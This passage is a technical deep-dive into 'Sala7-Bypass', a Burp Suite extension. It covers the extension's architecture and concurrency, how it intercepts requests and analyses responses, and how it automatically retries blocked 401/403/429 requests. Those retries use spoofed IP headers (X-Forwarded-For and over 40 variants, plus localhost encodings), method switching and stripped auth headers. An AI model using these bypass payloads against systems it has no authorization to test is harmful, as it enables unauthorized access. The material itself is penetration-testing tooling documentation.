The sendRequest() method is critical for bypass attempts: it executes modified requests outside the interception pipeline, preventing recursive loop detection while capturing responses for analysis.
3. Proxy API (api.proxy())
Proxy-specific registration enables future extensibility:
api.proxy().registerRequestHandler(this);
Current implementation provides passthrough behavior, but the registration point exists for proxy-specific features (e.g., intercepting CONNECT tunnels, modifying proxy headers).
4. User Interface API (api.userInterface())
UI registration integrates the extension into Burp’s tabbed interface:
api.userInterface().registerSuiteTab("Sala7-Bypass", ui.getUIComponent());
The tab name “Sala7-Bypass” appears alongside Burp’s native tabs (Target, Proxy, Intruder, etc.), providing first-class UI integration.
5. Repeater/Intruder API (api.repeater(), api.intruder())
Tool integration enables right-click menu actions:
###
// From UI popup menu
extender.getApi().repeater().sendToRepeater(entry.getModifiedRequest());
extender.getApi().intruder().sendToIntruder(entry.getModifiedRequest());
These methods transfer requests—with all modifications intact—into Burp’s native tools, enabling manual verification and further manipulation of discovered bypass vectors.
6. Logging API (api.logging())
Structured logging provides debugging visibility:
api.logging().logToOutput("Sala7-Bypass Extension loaded! v" + CURRENT_VERSION);
api.logging().logToOutput("[BYPASS DETECTED] " + request.url() + " | Type: " + bypassType);
The logToOutput() method writes to Burp’s Extensions output panel, distinct from the proxy history or scanner logs, providing isolated debugging context.
API Version Compatibility
Sala7-Bypass targets Montoya API version 2023.10.2.4 or later, utilizing features stabilized in that release. The extension does not implement dynamic API version detection, as Montoya maintains backward compatibility within major versions. However, the CURRENT_VERSION constant and GitHub update check mechanism (checkForUpdates()) provide future-proofing against API deprecation by notifying users of extension updates.
2.3 Modular Design: Separation of Concerns
Sala7-Bypass’s six-class architecture enforces strict separation of concerns, with each class possessing a single, well-defined responsibility and minimal cross-cutting dependencies. This modularity enables independent testing, maintenance, and extension of components.
Component Responsibility Matrix
Table
| Class | Responsibility | Dependencies | Lines of Code (approx.) |
|---|---|---|---|
BurpExtender |
Interception coordination, lifecycle management | All other classes | ~400 |
BypassEngine |
Request deduplication, retry tracking, success memoization | MontoyaApi (logging only) |
~80 |
RequestModifier |
Stateless request transformations | None (pure utility) | ~90 |
LogEntry |
Immutable data structure with mutable bypass tracking | HttpRequest, HttpResponse |
~150 |
LogTableModel |
Swing table data binding, statistics computation | LogEntry |
~120 |
BypassExtensionUI |
Swing UI construction, event handling, export | BurpExtender, LogTableModel, LogEntry |
~800 |
Dependency Direction
Dependencies flow unidirectionally from high-level coordination to low-level primitives:
plain Copy
BurpExtender → BypassExtensionUI → LogTableModel → LogEntry
↓ ↓ ↓
BypassEngine ← RequestModifier ← (none)
No low-level class depends on high-level classes. LogEntry knows nothing about BurpExtender; RequestModifier has no reference to BypassExtensionUI. This acyclic dependency graph prevents circular coupling and enables independent component testing.
Interface Segregation
The architecture implicitly follows interface segregation principles through class specialization rather than explicit Java interfaces:
BurpExtenderimplements three Montoya interfaces (BurpExtension,HttpHandler,ProxyRequestHandler) but delegates all non-interception work to sub-components.BypassExtensionUIencapsulates all Swing code, preventing AWT/Swing imports from polluting the interception and engine layers.RequestModifierprovides only static methods, functioning as a namespace for pure functions rather than a stateful service.
Configuration Encapsulation
Extension configuration is distributed across layers according to scope:
- Global toggles (extension enabled, scope-only, loop prevention) reside in
BurpExtenderasvolatile booleanfields, accessible via setter methods called from UI action listeners. - Engine parameters (max retries, thread count, request delay) reside in
BurpExtenderbut are consumed byBypassEnginethrough method parameters. - UI state (dark mode, column widths, filter selections) resides entirely in
BypassExtensionUI, with no persistence mechanism (future enhancement opportunity).
This distributed configuration reflects the architectural reality that BurpExtender owns the extension lifecycle, while BypassExtensionUI owns the presentation state.
Extensibility Points
The modular design provides several natural extension points:
- New Bypass Techniques: Adding a bypass vector (e.g., HTTP/2 specific headers) requires modifying only
RequestModifier(new transformation method) andBurpExtender(integration into the bypass pipeline). No UI changes are required if the technique maps to existing bypass types. - Custom Payload Sources: The
BYPASS_HEADERS_POOLis currently a static list. Replacing it with a dynamic source (database, remote API) requires modifying onlygenerateBypassHeaders()inBurpExtender, withBypassExtensionUIalready supporting custom payload tables. - Alternative UIs: The
BypassExtensionUIimplements a complete Swing interface. A headless mode (for CI/CD integration) could be implemented by creating aBypassExtensionHeadlessclass implementing the same configuration interface, withBurpExtenderselecting the appropriate UI based on environment detection. - Reporting Integration: Current CSV/JSON export is file-based. Adding direct Jira, Slack, or Burp Enterprise reporting integration requires modifying only
BypassExtensionUIexport methods, without touching interception logic.
2.4 Threading Model & Concurrency Handling
Sala7-Bypass operates within Burp Suite’s multi-threaded execution environment, where the HTTP handler, proxy handler, UI event dispatch, and extension-initiated threads execute concurrently. Proper concurrency management is not merely a performance optimization but a correctness requirement: race conditions in request matching, duplicate bypass attempts, or UI update corruption would produce false negatives, false positives, or crashes.
Thread Categories
Table
| Thread Type | Source | Purpose | Count |
|---|---|---|---|
| HTTP Dispatcher | Burp Suite internal | Request/response interception | Multiple (Burp-managed) |
| Proxy Dispatcher | Burp Suite internal | Proxy-specific interception | Multiple (Burp-managed) |
| Bypass Worker | ExecutorService |
Async bypass attempts | Configurable (default 5) |
| UI Update | SwingUtilities.invokeLater() |
EDT-safe UI updates | Single (Swing-managed) |
| Update Checker | new Thread() |
Background version check | 1 (transient) |
Request Matching Concurrency
The most critical concurrency challenge is matching responses to their corresponding requests. Burp’s HTTP dispatcher calls handleHttpRequestToBeSent() and handleHttpResponseReceived() on potentially different threads, with no guarantee of sequential execution. Sala7-Bypass solves this through a two-map pending entry system:
// In BurpExtender
private final Map<String, LogEntry> pendingEntries = new ConcurrentHashMap<>();
private final Map<String, Integer> pendingEntryIndex = new ConcurrentHashMap<>();
private final Map<String, LogEntry> originalPendingEntries = new ConcurrentHashMap<>();
private final Map<String, Integer> originalPendingIndex = new ConcurrentHashMap<>();
The generatePendingKey() method creates deterministic keys incorporating URL, method, body hash, and time window:
private String generatePendingKey(HttpRequest request, String prefix) {
long timeWindow = System.currentTimeMillis() / 1000;
String bodyHash = request.bodyToString() != null
? String.valueOf(request.bodyToString().hashCode())
: "0";
return prefix + "|" + request.url() + "|" + request.method() + "|" + bodyHash + "|" + timeWindow;
}
The ConcurrentHashMap implementation ensures atomic put() and remove() operations. When handleHttpResponseReceived() processes a response, it attempts removal with pendingEntries.remove(modKey)—an atomic operation returning the entry if present or null if already processed. This prevents double-processing even if two threads simultaneously handle responses for the same request (a rare but possible scenario with retry logic).
Bypass Worker Thread Pool
Bypass attempts execute asynchronously through a configurable ExecutorService:
private ExecutorService executorService;
// Initialization
this.executorService = Executors.newFixedThreadPool(threadCount);
// Dynamic reconfiguration
public void setThreadCount(int threadCount) {
// Graceful shutdown with timeout
executorService.shutdown();
if (!executorService.awaitTermination(5, TimeUnit.SECONDS)) {
executorService.shutdownNow();
}
executorService = Executors.newFixedThreadPool(threadCount);
}
The thread pool isolates bypass attempts from Burp’s HTTP dispatcher threads, preventing slow bypass responses from blocking legitimate traffic processing. The maxRetries configuration (default 3) limits per-request bypass attempts, while the thread pool size (default 5) limits concurrent bypass operations across all requests.
Thread Safety in Data Structures
Table
| Data Structure | Thread Safety Mechanism | Purpose |
|---|---|---|
logEntries |
CopyOnWriteArrayList<<LogEntry> |
Append-only log storage; copy-on-write ensures iteration safety |
pendingEntries |
ConcurrentHashMap<String, LogEntry> |
Request-response matching; atomic put/remove |
bypassEngine.processedRequests |
ConcurrentHashMap.newKeySet() |
Deduplication; atomic add/contains |
bypassEngine.retryCount |
ConcurrentHashMap<String, Integer> |
Retry tracking; atomic merge operations |
bypassEngine.successMap |
ConcurrentHashMap<String, Boolean> |
Success memoization; atomic put/get |
The CopyOnWriteArrayList for logEntries is a deliberate choice: write operations (adding new entries) are relatively infrequent compared to read operations (UI rendering, statistics computation, export). The copy-on-write pattern provides lock-free reads at the cost of O(n) writes—a favorable tradeoff given the read-heavy access pattern.
UI Thread Safety
All UI modifications execute on the Event Dispatch Thread (EDT):
// Pattern used throughout BypassExtensionUI
SwingUtilities.invokeLater(() -> {
logTableModel.addEntry(entry);
updateStats();
});
This pattern prevents ConcurrentModificationException during table rendering and ensures consistent visual state. Background threads (bypass workers, update checker) never directly manipulate Swing components.
Race Condition Prevention
Several specific race conditions are architecturally prevented:
- Duplicate Bypass Triggering:
BypassEngine.shouldBypass()checkshasSuccess()andgetRetryCount()atomically throughConcurrentHashMapoperations. ThemarkProcessed()call occurs beforeexecutorService.submit(), ensuring another thread cannot submit a duplicate bypass for the same request hash. - Statistics Corruption:
updateStats()iterates overlogEntries(copy-on-write safe) and computes statistics into local variables before theSwingUtilities.invokeLater()lambda captures final copies. This prevents interleaving of statistics computation and UI update. - Log Entry Mutation:
LogEntryfields are mostly final, with mutable bypass tracking fields (bypassType,bypassHeadersUsed,bypassDetails) modified only by the HTTP dispatcher thread that processes the response. TheCopyOnWriteArrayListensures that UI threads reading entries see consistent (if potentially stale) state.
2.5 Memory Management & Performance Considerations
Operating as a long-running Burp Suite extension, Sala7-Bypass must manage memory responsibly to prevent heap exhaustion during extended testing sessions involving thousands of requests and responses. The architecture implements several memory-conscious design patterns.
Request/Response Storage
LogEntry stores complete HttpRequest and HttpResponse objects for both original and modified variants:
public class LogEntry {
private final HttpRequest originalRequest;
private final HttpRequest modifiedRequest;
private HttpResponse originalResponse;
private HttpResponse modifiedResponse;
}
These objects retain the full request/response byte content, which for large responses (file downloads, JSON arrays) can consume significant memory. The CopyOnWriteArrayList<<LogEntry> logEntries in BurpExtender thus represents the primary memory growth vector.
Memory Mitigation Strategies
Table
| Strategy | Implementation | Tradeoff |
|---|---|---|
| No automatic pruning | logEntries grows indefinitely |
Complete history for analysis; memory risk |
| Manual clear | “Clear Logs” button calls logTableModel.clear() |
User-controlled; requires manual action |
| Export and clear | CSV/JSON export preserves data externally | Workflow interruption |
| Pending map cleanup | remove() on response processing |
Automatic; prevents unbounded map growth |
The current implementation prioritizes analysis completeness over automatic pruning, reflecting the penetration testing use case where complete request history is often necessary for report generation. Future enhancements could implement configurable automatic pruning (e.g., retain only last 1000 entries) or response body truncation for large payloads.
Pending Map Cleanup
The pending entry maps (pendingEntries, originalPendingEntries) are explicitly cleaned through remove() calls in handleHttpResponseReceived():
LogEntry pendingEntry = pendingEntries.remove(modKey);
Integer pendingIdx = pendingEntryIndex.remove(modKey);
This prevents unbounded growth from requests that never receive responses (connection timeouts, client aborts). However, a theoretical leak exists: if handleHttpRequestToBeSent() is called but handleHttpResponseReceived() is never invoked (e.g., Burp crash, extension reload), entries remain in the maps. The time window component of generatePendingKey() (current second) limits this leak to sub-second duration under normal operation.
Thread Pool Resource Management
The ExecutorService requires explicit shutdown to prevent thread leaks:
public void setThreadCount(int threadCount) {
if (executorService != null && !executorService.isShutdown()) {
executorService.shutdown();
try {
if (!executorService.awaitTermination(5, TimeUnit.SECONDS)) {
executorService.shutdownNow();
}
} catch (InterruptedException e) {
executorService.shutdownNow();
Thread.currentThread().interrupt();
}
}
executorService = Executors.newFixedThreadPool(threadCount);
}
The shutdown() → awaitTermination() → shutdownNow() sequence provides graceful termination with forced cleanup fallback. The Thread.currentThread().interrupt() preserves the interrupt status for calling code.
JVM Memory Considerations
Sala7-Bypass operates within Burp’s JVM, typically allocated 1-4GB heap depending on configuration. The extension’s memory footprint scales with:
- Log entries: ~2-5KB per entry (requests + responses + metadata)
- Pending maps: ~500 bytes per in-flight request
- Bypass engine state: ~200 bytes per unique request hash
- UI components: Swing component overhead (relatively fixed)
For a typical 10,000 request testing session: ~50MB log storage + ~5MB engine state + UI overhead ≈ 60MB total—well within JVM capacity but non-trivial for extended sessions.
Performance Optimization Opportunities
Several architectural decisions prioritize correctness over performance, presenting optimization opportunities:
- Response Body Storage: Currently stores complete response bodies in
HttpResponseobjects. For bypass detection, only status codes and select headers are necessary. Truncating or hashing response bodies would reduce memory by 60-80%. - Statistics Computation:
updateStats()performs O(n) iteration over all log entries on every response. For 10,000 entries, this is negligible; for 100,000+, incremental statistics updates would improve responsiveness. - Bypass Header Pool: The static
BYPASS_HEADERS_POOLgenerates 40+ header combinations at class load time. Lazy generation or caching would reduce startup memory. - Request Hashing:
BypassEngine.hashRequest()computesbodyToString().hashCode()for every request. For large bodies, this is expensive. Incremental hashing or body truncation would improve performance.
These optimizations are deferred pending profiling data indicating actual bottlenecks, consistent with the extension’s design philosophy of correctness-first, optimize-later.
3. Core Features Deep Dive
3.1 Request Interception Engine
The Request Interception Engine constitutes the entry point for all Sala7-Bypass functionality, capturing HTTP traffic from Burp Suite’s HTTP stack before it reaches target servers and applying configurable transformations based on extension settings. This engine operates through two primary interception interfaces registered during extension initialization, creating a comprehensive coverage model that handles traffic regardless of origin—whether from browser proxies, Burp’s own tools (Scanner, Repeater, Intruder), or manual request construction.
3.1.1 HTTP Handler Registration
The HTTP handler registration occurs within the initialize(MontoyaApi api) bootstrap sequence, establishing the extension as an active participant in Burp’s HTTP processing pipeline:
@Override
public void initialize(MontoyaApi api) {
this.api = api;
api.extension().setName("Sala7-Bypass v" + CURRENT_VERSION);
// Core engine instantiation
this.bypassEngine = new BypassEngine(api);
this.executorService = Executors.newFixedThreadPool(threadCount);
// UI initialization on Event Dispatch Thread
SwingUtilities.invokeLater(() -> {
ui = new BypassExtensionUI(this);
api.userInterface().registerSuiteTab("Sala7-Bypass", ui.getUIComponent());
});
// Critical: HTTP handler registration
api.http().registerHttpHandler(this);
api.proxy().registerRequestHandler(this);
api.logging().logToOutput("Sala7-Bypass Extension loaded! v" + CURRENT_VERSION);
checkForUpdates();
}
The api.http().registerHttpHandler(this) call registers BurpExtender as an HttpHandler implementation with Burp’s HTTP stack. This registration is all-or-nothing: the extension receives callbacks for every HTTP request and response processed by Burp, with no built-in filtering at the API level. Consequently, the extension must implement efficient early-exit logic to minimize performance impact on non-target traffic.
The HttpHandler interface contract requires two method implementations:
public interface HttpHandler {
RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent);
ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived responseReceived);
}
Sala7-Bypass’s BurpExtender implements both methods, with handleHttpRequestToBeSent() performing request transformation and handleHttpResponseReceived() performing response analysis and bypass triggering. The methods execute synchronously on Burp’s HTTP dispatcher threads, with any blocking operation in handleHttpRequestToBeSent() directly delaying request transmission.
Registration Scope and Limitations
The HTTP handler registration captures all HTTP traffic processed by Burp, but with important scope distinctions:
Table
| Traffic Source | Captured by HTTP Handler | Notes |
|---|---|---|
| Browser via Proxy | ✅ Yes | Primary interception target |
| Burp Repeater | ✅ Yes | Manual testing traffic |
| Burp Intruder | ✅ Yes | Automated attack traffic |
| Burp Scanner | ✅ Yes | Vulnerability scanning traffic |
| Burp Sequencer/Comparer | ✅ Yes | All tool-generated traffic |
| WebSocket traffic | ❌ No | Requires WebSocket handler registration |
WebSocket traffic is explicitly excluded from HTTP handler callbacks, as the Montoya API separates WebSocket handling into a distinct interface (WebSocketHandler). Sala7-Bypass does not currently implement WebSocket interception, representing a future enhancement for modern applications utilizing WebSocket-based APIs.
Handler Priority and Ordering
Burp’s HTTP handler architecture does not guarantee execution order among multiple registered handlers. If multiple extensions register HttpHandler implementations, the invocation sequence is undefined and may vary across Burp restarts. Sala7-Bypass assumes exclusive or compatible handler presence, with loop prevention (X-Burp-Processed header) providing defense against recursive modification by other extensions.
3.1.2 Proxy Handler Integration
In addition to the general HTTP handler, Sala7-Bypass registers a ProxyRequestHandler specifically for proxy-originated traffic:
api.proxy().registerRequestHandler(this);
The ProxyRequestHandler interface provides finer-grained interception points for proxy-specific processing:
public interface ProxyRequestHandler {
ProxyRequestReceivedAction handleRequestReceived(InterceptedRequest interceptedRequest);
ProxyRequestToBeSentAction handleRequestToBeSent(InterceptedRequest interceptedRequest);
}
Sala7-Bypass’s current implementation provides passthrough behavior for both proxy handler methods:
@Override
public ProxyRequestReceivedAction handleRequestReceived(InterceptedRequest interceptedRequest) {
return ProxyRequestReceivedAction.continueWith(interceptedRequest);
}
@Override
public ProxyRequestToBeSentAction handleRequestToBeSent(InterceptedRequest interceptedRequest) {
return ProxyRequestToBeSentAction.continueWith(interceptedRequest);
}
This passthrough design reflects an architectural decision to centralize all modification logic in the HttpHandler rather than splitting between handler types. However, the proxy handler registration serves critical future extensibility purposes:
- SSL/TLS Inspection: Proxy-specific handlers can access TLS handshake information unavailable to general HTTP handlers, enabling future features like SNI-based routing bypass or certificate pinning detection.
- Upstream Proxy Manipulation: The
InterceptedRequestproxy interface provides access to upstream proxy configuration, enabling future upstream proxy bypass techniques (e.g.,X-Forwarded-Hostmanipulation for proxy routing). - Proxy Authentication: Proxy-specific authentication headers (e.g.,
Proxy-Authorization) can be manipulated independently of destination server authentication. - Request Dropping:
ProxyRequestReceivedActionsupports request dropping (drop()) for future implementations of aggressive filtering or tarpit responses.
The dual registration (HTTP handler + Proxy handler) ensures Sala7-Bypass receives all traffic through at least one interception point, with the HTTP handler providing the active transformation pipeline.
3.1.3 Request Lifecycle Hook Points
Sala7-Bypass intercepts requests at the HttpRequestToBeSent phase—immediately before transmission to the target server, after all upstream Burp processing (proxy rules, match/replace, upstream proxy routing) but before network I/O. This hook point selection is deliberate, providing several advantages:
Table
| Hook Point | Timing | Sala7-Bypass Usage |
|---|---|---|
ProxyRequestReceived |
Client → Burp proxy | Passthrough (future extensibility) |
ProxyRequestToBeSent |
Burp proxy → upstream | Passthrough (future extensibility) |
HttpRequestToBeSent |
Pre-network I/O | Active transformation |
HttpResponseReceived |
Post-network I/O | Analysis & bypass triggering |
The HttpRequestToBeSent phase enables modification of requests that will be seen by the target server exactly as modified, with no subsequent Burp processing that might strip or alter injected headers. This is critical for bypass headers that must reach the target application unmodified.
Request Processing Pipeline
The handleHttpRequestToBeSent() method implements a sequential decision pipeline:
@Override
public RequestToBeSentAction handleHttpRequestToBeSent(HttpRequestToBeSent requestToBeSent) {
// Gate 1: Extension enabled check
if (!extensionEnabled) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// Gate 2: Scope restriction
if (scopeOnly && !api.scope().isInScope(requestToBeSent.url())) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// Gate 3: Loop prevention
if (loopPrevention && hasLoopHeader(requestToBeSent)) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// Gate 4: Authentication filter
if (authFilter && !hasAuthIndicators(requestToBeSent)) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// Gate 5: Content-type filter
if (contentTypeFilter && !matchesContentType(requestToBeSent)) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// Transformation pipeline
HttpRequest modifiedRequest = applyModifications(requestToBeSent);
// Logging and tracking
LogEntry entry = createLogEntry(requestToBeSent, modifiedRequest);
int entryIndex = logEntries.size();
logEntries.add(entry);
ui.logEntry(entry);
// Pending entry registration for response matching
registerPendingEntries(requestToBeSent, modifiedRequest, entry, entryIndex);
return RequestToBeSentAction.continueWith(modifiedRequest);
}
Each gate implements an early-exit pattern, returning the unmodified request immediately if the gate condition fails. This minimizes performance impact for traffic that should not be processed. The gates are ordered by computational cost: the enabled check is trivial (boolean field access), while content-type parsing requires header iteration and string matching.
Gate Implementation Details
Table
| Gate | Condition | Cost | Rationale |
|---|---|---|---|
| Extension enabled | extensionEnabled == true |
O(1) | Most fundamental; first check |
| Scope-only | api.scope().isInScope(url) |
O(1) map lookup | Prevents out-of-scope processing |
| Loop prevention | Header presence check | O(n) header scan | Avoids infinite loops |
| Auth filter | Cookie/Authorization presence | O(n) header scan | Filters non-auth traffic |
| Content-type filter | Content-Type parsing | O(n) header scan + string match | Filters by payload type |
The hasLoopHeader() method implements the loop detection logic
private boolean hasLoopHeader(HttpRequest request) {
return request.headers().stream()
.anyMatch(h -> h.name().equalsIgnoreCase(LOOP_HEADER)
&& h.value().equals(LOOP_VALUE));
}
This scans all request headers for X-Burp-Processed: true, with equalsIgnoreCase() ensuring case-insensitive matching. The O(n) scan is acceptable given typical header counts (5-20 headers) and the criticality of loop prevention.
Modification Application
After gate passage, the request enters the transformation pipeline:
HttpRequest originalRequest = requestToBeSent;
HttpRequest modifiedRequest = requestToBeSent;
boolean wasModified = false;
List<String> modifications = new ArrayList<>();
if (loopPrevention) {
modifiedRequest = modifiedRequest.withAddedHeader(LOOP_HEADER, LOOP_VALUE);
}
if (methodSwitching) {
HttpRequest switched = RequestModifier.switchMethod(modifiedRequest);
if (!switched.method().equals(modifiedRequest.method())) {
modifiedRequest = switched;
wasModified = true;
modifications.add("METHOD_SWITCH:" + originalRequest.method() + "->" + switched.method());
}
}
if (removeAuth) {
if (removeCookie) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Cookie");
wasModified = true;
modifications.add("REMOVE_COOKIE");
}
if (removeAuthorization) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Authorization");
wasModified = true;
modifications.add("REMOVE_AUTH");
}
}
The transformations are applied sequentially, with each transformation building upon the previous result. The modifiedRequest variable is reassigned at each step, leveraging Montoya API’s immutable object pattern. The wasModified flag and modifications list track transformation history for logging and bypass classification.
Pending Entry Registration
For response matching, Sala7-Bypass registers entries in the pending maps:
String originalKey = generatePendingKey(originalRequest, "orig");
originalPendingEntries.put(originalKey, entry);
originalPendingIndex.put(originalKey, entryIndex);
if (wasModified) {
String pendingKey = generatePendingKey(modifiedRequest, "mod");
pendingEntries.put(pendingKey, entry);
pendingEntryIndex.put(pendingKey, entryIndex);
}
The dual-key system (original key + modified key) enables matching responses to either the original or modified request, depending on which response arrives first. This is necessary because Burp’s HTTP stack may process responses in non-deterministic order, especially under high concurrency or when the server exhibits variable response times.
3.2 Response Analysis Engine
The Response Analysis Engine processes HTTP responses as they return from target servers, correlating them with their corresponding pending requests, detecting status code transitions indicative of access control boundaries, and triggering automated bypass attempts when blocked responses are detected.
3.2.1 Status Code Detection (403/401/429)
The handleHttpResponseReceived() method implements the core response analysis logic, with status code detection serving as the primary decision trigger:
@Override
public ResponseReceivedAction handleHttpResponseReceived(HttpResponseReceived responseReceived) {
if (!extensionEnabled) {
return ResponseReceivedAction.continueWith(responseReceived);
}
int statusCode = responseReceived.statusCode();
HttpRequest request = responseReceived.initiatingRequest();
// Pending entry retrieval with atomic remove
String modKey = generatePendingKey(request, "mod");
LogEntry pendingEntry = pendingEntries.remove(modKey);
Integer pendingIdx = pendingEntryIndex.remove(modKey);
String origKey = generatePendingKey(request, "orig");
LogEntry originalEntry = originalPendingEntries.remove(origKey);
Integer originalIdx = originalPendingIndex.remove(origKey);
// Status-based routing logic...
}
The method first checks the extension enabled state (consistent with request handling), then extracts the status code and initiating request. The critical operation is pending entry retrieval: remove() operations on ConcurrentHashMap provide atomic retrieval and deletion, ensuring that a response is processed exactly once even under concurrent access.
Status Code Classification
Sala7-Bypass categorizes HTTP status codes into functional groups for decision-making:
Table
| Status Code | Category | Extension Action |
|---|---|---|
| 200-299 | Success | Log as PASSTHROUGH or BYPASS SUCCESS |
| 301-302 | Redirect | Log as PASSTHROUGH or BYPASS SUCCESS |
| 401 | Unauthorized | Log as BLOCKED; trigger auth bypass attempts |
| 403 | Forbidden | Log as BLOCKED; trigger all bypass attempts |
| 429 | Too Many Requests | Log as BLOCKED; trigger rate limit bypass |
| 400-499 (other) | Client Error | Log as PASSTHROUGH |
| 500-599 | Server Error | Log as PASSTHROUGH |
The 401/403/429 codes are collectively termed “blocking codes”—responses that indicate the request was denied by an access control mechanism. These codes trigger the bypass attempt pipeline, while other codes are logged for statistical completeness but do not initiate automated bypassing.
Response-Request Correlation
The correlation logic handles three distinct scenarios:
Scenario 1: Modified Response (pendingEntry != null)
The response corresponds to a modified request. The entry is updated with the modified status, and bypass detection is performed:
if (pendingEntry != null && pendingIdx != null) {
pendingEntry.setModifiedStatus(statusCode);
pendingEntry.setResponseTime(responseTime);
pendingEntry.setModifiedResponse(responseReceived);
// Ensure trueOriginalStatus is set for proper bypass detection
if (pendingEntry.getTrueOriginalStatus() == -1) {
// Sync from original entry if available
if (originalEntry != null && originalEntry.getTrueOriginalStatus() > 0) {
pendingEntry.setTrueOriginalStatus(originalEntry.getTrueOriginalStatus());
} else if (pendingEntry.getOriginalStatus() > 0) {
pendingEntry.setTrueOriginalStatus(pendingEntry.getOriginalStatus());
}
}
boolean isRealBypass = detectRealBypass(pendingEntry, statusCode);
// ... bypass handling ...
}
Scenario 2: Original Response (originalEntry != null)
The response corresponds to an unmodified request. This establishes the baseline for bypass detection:
} else if (originalEntry != null && originalIdx != null) {
originalEntry.setOriginalStatus(statusCode);
originalEntry.setModifiedStatus(statusCode);
originalEntry.setTrueOriginalStatus(statusCode);
// Sync trueOriginalStatus to any pending modified entries
for (int i = 0; i < logEntries.size(); i++) {
LogEntry entry = logEntries.get(i);
if (entry.getUrl().equals(originalEntry.getUrl())
&& entry != originalEntry
&& entry.getTrueOriginalStatus() == -1) {
entry.setTrueOriginalStatus(statusCode);
}
}
if (statusCode == 403 || statusCode == 429 || statusCode == 401) {
originalEntry.setAction("BLOCKED");
// Trigger bypass attempts
if (detect403 && bypassHeaders) {
triggerBypassAttempts(request, responseReceived, statusCode);
}
}
// ... logging ...
}
Scenario 3: Orphaned Response (no matching entry)
The response does not match any pending entry (e.g., request was sent before extension loaded, or entry was already processed). A backward scan attempts to match by URL:
} else {
for (int i = logEntries.size() - 1; i >= 0; i--) {
LogEntry entry = logEntries.get(i);
if (entry.getUrl().equals(request.url()) && entry.getOriginalStatus() == -1) {
entry.setOriginalStatus(statusCode);
entry.setModifiedStatus(statusCode);
entry.setTrueOriginalStatus(statusCode);
// ... update and trigger bypass if blocked ...
break;
}
}
}
3.2.2 Response Time Tracking
Response time measurement provides performance context for bypass attempts, distinguishing between network latency and server processing time. Sala7-Bypass implements response time tracking at two levels:
Original/Modified Request Timing
For requests processed through the HTTP handler, response time is currently set to 0:
long responseTime = 0; // Placeholder - actual timing requires async measurement
This limitation stems from the synchronous nature of handleHttpResponseReceived(): the method receives the completed response, but lacks access to the request transmission timestamp. Future implementations could track timing through a separate Map<String, Long> storing request start times.
Bypass Attempt Timing
Bypass attempts execute asynchronously and can measure precise timing:
long startTime = System.currentTimeMillis();
var httpResponse = api.http().sendRequest(bypassRequest);
long bypassTime = System.currentTimeMillis() - startTime;
This timing is stored in the bypass LogEntry:
bypassEntry.setResponseTime(bypassTime);
The response time serves dual purposes: performance analysis (identifying slow bypass vectors) and detection evasion (configuring delays to avoid rate limiting).
3.2.3 Automatic Bypass Triggering
The triggerBypassAttempts() method serves as the bridge between response analysis and bypass execution:
private void triggerBypassAttempts(HttpRequest request, HttpResponse response, int statusCode) {
if (!hasLoopHeader(request)) {
String hash = bypassEngine.hashRequest(request);
if (bypassEngine.shouldBypass(hash, maxRetries)) {
bypassEngine.markProcessed(hash);
executorService.submit(() -> attemptBypass(request, response, statusCode, hash));
}
}
}
The method implements three safety checks before triggering:
- Loop Prevention: Re-checks for the loop header, preventing recursive bypass attempts on requests generated by bypass attempts themselves.
- Deduplication: Computes a request hash and checks
bypassEngine.shouldBypass(), which verifies that the request has not exceeded retry limits and has not already succeeded. - Async Execution: Submits the bypass attempt to the
ExecutorServicethread pool, preventing blocking of Burp’s HTTP dispatcher.
The hashRequest() method creates a deterministic identifier:
public String hashRequest(HttpRequest request) {
return request.method() + "|" + request.url() + "|" + request.bodyToString().hashCode();
}
This hash incorporates method, URL, and body content hash, ensuring that requests with identical structure are deduplicated while distinct requests (different parameters, different bodies) receive independent bypass attempts.
3.3 Bypass Techniques Implementation
Sala7-Bypass implements six major bypass technique categories, each targeting distinct access control implementation flaws. The techniques are not mutually exclusive; the extension supports simultaneous application and intelligent combination.
3.3.1 IP Spoofing Bypass
IP spoofing bypass exploits the common architectural pattern where applications derive client identity from HTTP headers rather than transport-layer connection information. This vulnerability class is endemic to deployments behind reverse proxies, load balancers, and CDNs, where the application server lacks direct access to the original TCP connection.
3.3.1.1 X-Forwarded-For Header Injection
The X-Forwarded-For (XFF) header is defined in RFC 7239 (obsoleting earlier informal specifications) as a de facto standard for identifying client origin through proxy chains. The formal syntax specifies comma-separated IP addresses, with the leftmost address representing the original client:
X-Forwarded-For: client, proxy1, proxy2
Sala7-Bypass exploits the prevalent implementation flaw where applications parse only the leftmost IP without validating the header’s authenticity:
private static List<Map<String, String>> generateBypassHeaders() {
List<Map<String, String>> headersList = new ArrayList<>();
for (String ip : IP_VALUES) {
headersList.add(Map.of("X-Forwarded-For", ip));
// ... other headers ...
}
return headersList;
}
The IP_VALUES array includes multiple representations of localhost:
private static final String[] IP_VALUES = {
"127.0.0.1", "127.0.0.2", "::1", "localhost", "0.0.0.0",
"0000:0000:0000:0000:0000:0000:0000:0001", "0x7f000001", "2130706433"
};
Each IP is injected as a standalone X-Forwarded-For value, testing whether the target application:
- Parses the leftmost IP only
- Accepts any of the provided representations
- Fails to validate against actual connection source
3.3.1.2 X-Real-IP & X-Client-IP Variants
Beyond XFF, Sala7-Bypass tests 40+ header variants that different proxy implementations and cloud platforms use for client IP propagation:
Table
| Header | Origin Platform | Typical Usage |
|---|---|---|
X-Real-IP |
Nginx | Native nginx proxy variable |
X-Client-IP |
Azure/AWS | Cloud platform standard |
X-Originating-IP |
Generic | Legacy proxy implementations |
X-Remote-IP |
Generic | Alternative to XFF |
CF-Connecting-IP |
Cloudflare | CDN-specific client IP |
True-Client-IP |
Akamai | Enterprise CDN standard |
X-Cluster-Client-IP |
Kubernetes | Container orchestration |
The complete header pool is generated programmatically:
String[] ipHeaders = {
"X-Forwarded-For", "X-Real-IP", "X-Originating-IP", "X-Remote-IP",
"X-Client-IP", "X-Custom-IP-Authorization", "X-Original-Remote-Addr",
"X-Forwarded-Host", "X-HTTP-Host-Override", "X-Host", "X-True-IP",
"Base-Url", "Client-IP", "Http-Url", "Proxy-Host", "Proxy-Url",
